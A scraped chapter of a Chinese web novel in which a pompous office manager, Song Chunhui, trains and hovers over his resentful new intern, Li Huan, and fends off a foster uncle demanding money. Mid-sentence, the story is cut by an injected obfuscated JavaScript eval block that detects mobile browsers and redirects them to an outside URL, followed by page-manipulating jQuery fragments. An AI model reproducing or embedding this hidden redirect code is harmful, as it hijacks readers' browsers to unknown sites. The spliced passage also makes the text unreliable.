4.培养感情

作品:《直男上司带球跑了

    宋春晖转念一想的理由很简单,既然不能给业务部换血,那就培养一个属于自己的下属。


    他压根没把医院里的小插曲放心上,刺儿头业务员他管不住,刚毕业的大学生他还能拿捏不了?


    “小李,你就坐这儿吧。”宋春晖指关节敲了下什么都没有的空桌面,“自己去仓库领一台笔记本电脑,别忘了开机试试。”


    身位一近,李桓立刻闻到宋春晖头上那股劣质发蜡味,刺鼻甜腻,连带着那油亮的发丝都让人恶心。


    他不着痕迹地退开些距离,望向离经理办公室最近的工位,像讲台边被班主任钦点的VIP专座,不免怀疑这四眼儿是不是因为程尧,在恨屋及乌报复他,便主动问:“经理,那我还需要出去跑业务吗?”


    宋春晖:“那不废话嘛,不跑业务喝西北风啊?”


    李桓:“……”


    见实习生老实巴交地杵着,带着不谙世事的懵懂,宋春晖忆起多年前初入职场的自己,适当放缓语气:“不过你跟着我跑就行了,我亲自带你。”


    李桓默了一瞬,点头应下。


    手里堆着不少活儿,宋春晖抬腕一看表,距离饭点还有时间,他叮嘱李桓别瞎转悠,取完电脑尽快回来。


    李桓目光掠过宋春晖右手腕上那块明晃晃的劳力士,倒挺衬对方身上那套廉价西装。


    “等会儿,”宋春晖从李桓过于休闲的工装夹克往下扫到他脚上那双运动鞋,当面对他的打扮评头论足,“刚才我就想说你了,这破洞牛仔裤穿着是为了耍帅吗?漏风也不怕得老寒腿。”


    “……”李桓明显一呆。


    除了他爸,还没有谁敢这么数落他。


    宋春晖有点看不惯,语重心长道:“来上班就拿出上班的样子,注意形象,你的形象也代表公司的形象,回头去买两身西服听见没?头发也梳梳,像我这样多精神。”


    “……”李桓眉毛微不可察地挑了一下,忽然间挺想大嘴巴抽这四眼儿,就那油腻的背头和脸上笨重的黑框眼镜,真没看出来哪里精神。


    他低头摆出虚心受教的姿态:“我刚毕业没什么社会经验,谢谢经理提醒。”


    孺子可教。宋春晖对李桓越发满意,甩甩手道:“去吧,仓库小张应该带你认过,回来我还有点事儿跟你交代清楚。”


    李桓左耳进右耳出,完全没把宋春晖的话放心上。


    等实习生一离开,宋春晖回到办公室里日常为业绩发愁。


    他拿起桌上供应商送的台历,不禁回想起过去的日子。虽然做狗腿子憋屈,可油水是真的足啊,马建国吃肉他能跟着喝汤,现在别说汤,西北风都快喝不上了。


    仓库里的滞销药品需尽快处理,下午要跑两家医院,换以前宋春晖根本瞧不上堪比蚊子肉的小订单,如今却怕小订单都谈不成,还得跟孙子似的去舔医院的采购部负责人。


    不过久经职场,“点头哈腰”早已是宋春晖条件反射般的习惯,为了挣钱,没什么拉不下面子的。


    只是操心的事情一多,他就容易犯头疼,工作上没人帮他分担,身边也缺个知冷热说心里话的,严重时不得已靠药物来缓解。


    幸好来了个小助理。


    宋春晖刚觉得自己能稍微喘口气,办公桌上的手机就响了,来电显示“讨债鬼”。他脸色瞬间沉下来,调成静音后没接,电话却一通接一通没完没了。


    他无奈起身打开办公室门,确认没业务员回来才接通电话,率先道:“叔,我的钱不是大风刮来的,这是最后一次接你电话。”


    “咱春晖现在出息了啊,挣了大钱就跟叔翻脸,忘了是谁把你养这么大,谁供你念的书,村里就出你这一个大学生。”


    宋春晖攥紧手机,指节因用力泛白。他咬牙忍下这些听过无数遍的车轱辘话,说:“今天一次性算清楚吧,往后别再找我要钱。”


    “咋算清楚啊?你爹妈的后事都是我给张罗的,村里谁有这个好心?我看你可怜收养你,没我你早饿死了我告诉你,还给你学上,你良心让狗吃了!”


    宋春晖坚信知识可以改变命运,但却改变不了他穷苦卑微的出身。


    童年里吃馊饭的记忆如附骨之疽,舌尖仿佛仍残留着那股酸腐味,回想起来他胃里就忍不住泛起痉挛。


    “小虎要结婚,你给他在镇上买套房,再买个十来万的车。”


    电话那端是宋春晖名义上的养父,每次接电话前宋春晖都有心理准备,想过对方这回可能会要个二十万,这是他财力范围内的极限了,可没想到对方为了自己儿子结婚,竟狮子大开口管他要房要车。


    “我拿不出这么多钱。”他拒绝。


    “别以为我不懂啊,你那活儿能捞不少,干几个月就能在镇上买房,小虎说你开奔驰,车得好几十万吧?”


    “真干几个月就能买房那是违法。”宋春晖不愿过多解释,忍无可忍后,忽而一笑,“行吧叔,怎么说我也算小虎的大哥,这长幼有序,等我先把婚结了再给他张罗。”


    “就你那毛病啥时候能结婚?快31了还没个对象。”


    男性尊严受到重创,宋春晖鬼冒火,当即以工作繁忙为由将电话掐断,以后谁也别想再从他身上多捞一个子儿,除非他死了。


    办公室恢复了清静。


    宋春晖静不下心,缓了会儿情绪后望向窗外那片荒地自我安慰,等明年房子下来就能把户口从公司里迁出去了,以后他就是江城人,他有自己的家,他会努力打拼,哪怕这辈子跨越不了阶层,也不能让下一代像他这么憋屈。


    他索性改变下午的工作计划,继续分析业务部前半年的销售数据报表,正好教小助理学做报表。


    只怪上一任被开除的业务经理也是个浑水摸鱼的老油条,电脑里数据乱七八糟,还藏了好几部黄片,气得宋春晖全部拷贝进优盘,给电脑好好杀了毒,光整理数据、摸清全部业务就费他大半个月工夫。


    工作一投入,宋春晖便忘记时间,直到肚子跟他“咕噜”才发现快两点了。


    他摘下眼镜揉了揉眉心和太阳穴,慢半拍地想起来,自己收的小助理呢?算上吃饭和午休也该回来了。


    一拿起手机,他又想起来没管小助理要手机号,这一时半会儿联系不上,姑且观察下吧,吃饭要紧。


    分公司没食堂不管饭,业务部隔壁就是茶水休息室,配有冰箱和微波炉,宋春晖为了节省开支,时常会带饭,顺便给自己立个会做饭的好男人形象,中午凑合一顿倒也方便。


    等他填饱肚子,用公司的水和洗洁精把饭盒刷干净后,仍不见小助理的影子,整个业务部空空荡荡。


    与此同时,李桓正在距离公司最近的城乡购物中心附近,一家卖车店铺门口看车。


    张聪不知道李桓的岗位是助理,指着价钱最贵的那辆电摩给他介绍:“这车续航长,就是有点贵,但咱们老在外面跑,有时候一百公里都打不住。”


    李桓没骑过电摩,被张聪一通介绍,只记住了公里数长的能跑到北城,安城下辖的这座小县城刚好离北城很近,周末能去北城找他堂哥串串门。


    “就这辆吧。”他说。


    “嘿,你买东西真爽快啊。”张聪不由得高看李桓,连手机都使苹果最新款的,家里肯定有钱。


    李桓花钱一向爽快,钱在他眼里不过是串数字而已。


    只要听话成绩好,他零花钱就多,二十二年来他一直扮演着父母眼中的乖孩子,不巧今年演累了,想做回自己。


    当老板开口要价七千时,被打回现实的李桓直接秋风中凌乱,整个人都不好了。张聪还在旁边积极帮他砍价,最终成交价六千八,老板不情不愿地掏出收款码,又对他说“看你们小年轻闯社会也不容易”时,他只想原地消失。


    张聪:“老板,再送个锁呗?下回有生意还给你介绍。”


    老板:“送不了,这车我都卖亏了。”


    “……”好穷酸的阵仗,李桓严重不适,转头问张聪,“你那边有钱吗?先帮我付一下,回去转你。”


    不料张聪一口拒绝:“我也没带钱啊,微信里就几十块,要不等下了班再来,第一天你也不用出去跑。”


    李桓:“……”


    “尴尬”这种体验,是社会毫不留情送给李桓的见面礼,结结实实给他上了一课。


    但凡有攒钱的习惯,他也不至于为了几千块钱的便宜货而丢人,被老板翻白眼。


    等李桓肩扛着鼓鼓囊囊的编织袋,双手拎着大包小包,活脱脱一副民工样儿,狼狈地坐上张聪那破电摩好不容易回到职工宿舍,却迎面撞上前来查岗的上司。


    “操,事儿逼来查岗了,看见他就烦。”张聪紧急刹车,又把李桓赶下去,“我先溜了。”


    李桓无语,见四眼儿又当他面抬高手腕并露出那块金色劳力士,更无语了。


    这鬼地方一个个的全是极品,跟草台戏班一样,不是喷唾沫星子就是碎嘴子,现在还冒出个打肿脸充胖子的。


    他上前,开口解释:“经理,我是想尽快拿出上班的样子,就先去买西装了,张聪给我带的路。”


    “你看看几点了?”宋春晖板着脸,指尖轻轻点触自己的表盘,“11点让你去拿电脑,现在5点半,仓库那边都快下班了,买东西需要6个多小时吗?第一天上班就学会浑水摸鱼,你还能不能干了?”


    宋春晖训人时嗓门会不自觉拔高,是调来安城后被逼出来的。他洪亮的声音向四周扩散,穿透力十足,生怕小助理没听进去,也像其他业务员一样不把他当回事儿。


    “听没听见我说的话!”


    不知道宿舍里有没有人回来,李桓从没这么狼狈过,在家里被教训那是没办法,李云贤毕竟是生他养他的亲爹,可眼前这个逼逼叨叨的四眼儿算什么东西?


    他思忖着,要不要给对方一大嘴巴。


    见小助理默不作声,刚出校园的还是单纯了些,宋春晖把握着分寸,又好言相劝:“刘总让我好好栽培你,就你这工作态度去哪个公司都干不成大事,错了就是错了别找借口。”紧接着补上一句,“这次算了,下不为例。”


    严格来说李桓没有浑水摸鱼,打算买完东西就回公司,是张聪路过网吧突然想去打游戏,他没代


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200893|165593||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    步工具回不来,也不知道去哪里买西服,干脆多开台机放松,花小钱请“临时司机”玩了两个钟。


    他花小钱的目的是深入了解业务部,张聪这人嘴碎爱听墙角,连他爸的秘书是什么品种都好奇,不可能不找医药代表八卦。


    还真让李桓打听出来了,宋春晖的确是被总部踢下来的,原因是性骚扰女同事,又得罪采购部原料组的马经理,那边都不待见他。


    看似升职,其实目的是逼他自己走人,没想到宋春晖脸皮实在太厚,明知道分公司这边也不待见他,就是赖着死活不走,拿鸡毛当令箭来发泄自己的怨气。


    张聪游戏玩爽了,回来路上又告诉李桓,上一任经理被开除后,原本业绩最好的那个业务员能升经理,对方家里有关系也打点好了,谁知空降来个新经理。


    说多了张聪便拉李桓入伙,只要联合起来不搭理事儿逼,业绩随便糊弄下,问起来就说在外面跑业务,宋春晖根本没招,不出俩月想不滚都不行。


    这四眼儿已经来了一个月,没做出业绩,李桓心想再忍一个月就好了。


    他压下火,依旧摆出虚心受教的姿态,艰难从牙缝里挤出五个字儿来:“对不起,经理。”


    鉴于小助理还算老实,态度也诚恳,宋春晖没再计较,叮嘱道:“以后工作时间外出得跟我打报告,没我批准别擅自离岗。”


    “我知道了。”编织袋的拎绳勒胳膊,李桓再多忍一秒都怕自己动手,“我可以走了吗,经理。”


    “等等,你手机号报给我存一下。”宋春晖掏出手机低头输号码,没看见小助理那阴沉的脸色,存完接着打开微信搜索好友,“一会儿通过下微信,方便沟通。”


    被迫吃了个下马威,等下还要收拾屋子,李桓憋屈得想打人。


    他扛着大包小包刚上楼梯,听见不属于自己的脚步声,回头一看,四眼儿居然跟上来了。


    没看懂什么意思,他佯装不知情地问:“经理,你也住宿舍吗?”


    过两天就入冬了,天色黑得快,风也比白天大。宋春晖纯粹是被青涩的背影勾起过往,自己当年就是这样扛着大包拎着小包,一步步走出贫瘠的小山村。


    那时候没人教他,什么都得靠自己摸索。


    “小李,你要好好干啊。”


    “……”李桓莫名其妙,脚步声仍跟在他身后。


    宋春晖没养过狗腿子,但“一棒一枣”这个道理还是很清楚的,毕竟前上司马建国就一直这么对他。


    花钱的枣儿他给不起,口头上的关心那是小意思。


    于是在见到李桓干活有点笨手笨脚后,宋春晖立即拿出老练通达的前辈姿态,开始教小助理收拾屋子,床怎么铺,包浆的玻璃怎么擦,不时穿插点自己的工作感悟和人生大道理。


    一番好意,落到小助理眼中却成了个毫无边界感又讨人嫌的碎嘴子,满口爹味发言比他那油头还让李桓恶心。


    “这么大个子干点家务干不利索,会干家务是好男人的标配,知道不?”宋春晖一瞧便知李桓是个有妈宠的孩子,手机都使那么贵的多少有点爱慕虚荣。


    当然他自己也爱慕虚荣,这点说不着别人。


    “宿舍里有厨房,再学着做做饭,离了家只能靠自己。”


    本来干活就烦躁,李桓拳头梆硬,看逼逼叨叨的“活爹”坐在他亲手擦干净的椅子上指点江山,不光想给宋春晖来几下子,恨不得把塑料桶里的脏水也全灌对方嘴里。


    这傻逼四眼儿,脸真他妈大。


    “经理,外面天黑了,你还不回去吗?”李桓第三次下逐客令,宋春晖要是再听不懂,他真就不客气了。


    回去也是一个人,宋春晖嫌出租房冷清,一般选择在公司加班,还能省点电费。


    至于为什么不着急走,一来明天要带小助理跑医院,中午只能在外面吃,不用带饭意味着晚上不用买菜。


    二来借此机会和自己的小狗腿子多培养下主仆感情,免得李桓被那帮刺儿头业务员带坏,天天浑水摸鱼。


    “看你把这地擦了我再走。”


    “……”李桓看着快拖完的洋灰地,忍了。


    天色黑透,宋春晖起身,把工作时间和明天的工作安排简单跟李桓说了下,走时想起什么回头准备问问小助理,那饱经风霜的木门“砰”地在他眼前撞上了,往他脸上落下一层呛人的灰。


    总算滚蛋了,李桓坐下来点了根烟,没抽两口听见外面的交谈声,是早上那喷唾沫星子的保安。


    破门隔音差,他翻出背包里的耳机戴上,然后打开音乐,边抽烟边听歌边怀疑人生:自己还是李云贤的亲儿子么?


    *


    翌日,安城飘起了最后一场秋雨。


    淅淅沥沥的雨点子裹着寒气,风一吹,冷意直往人脸上扑。


    宋春晖冒雨冲上车,哆嗦了会儿才启动,公司离他租处不远,车程十分钟左右,等到了公司他想喝口热乎的茶,结果保温杯里空的。


    并且都八点了,整个业务部空空荡荡,而他的小助理也和昨天一样不见人影。


    这小.逼崽子。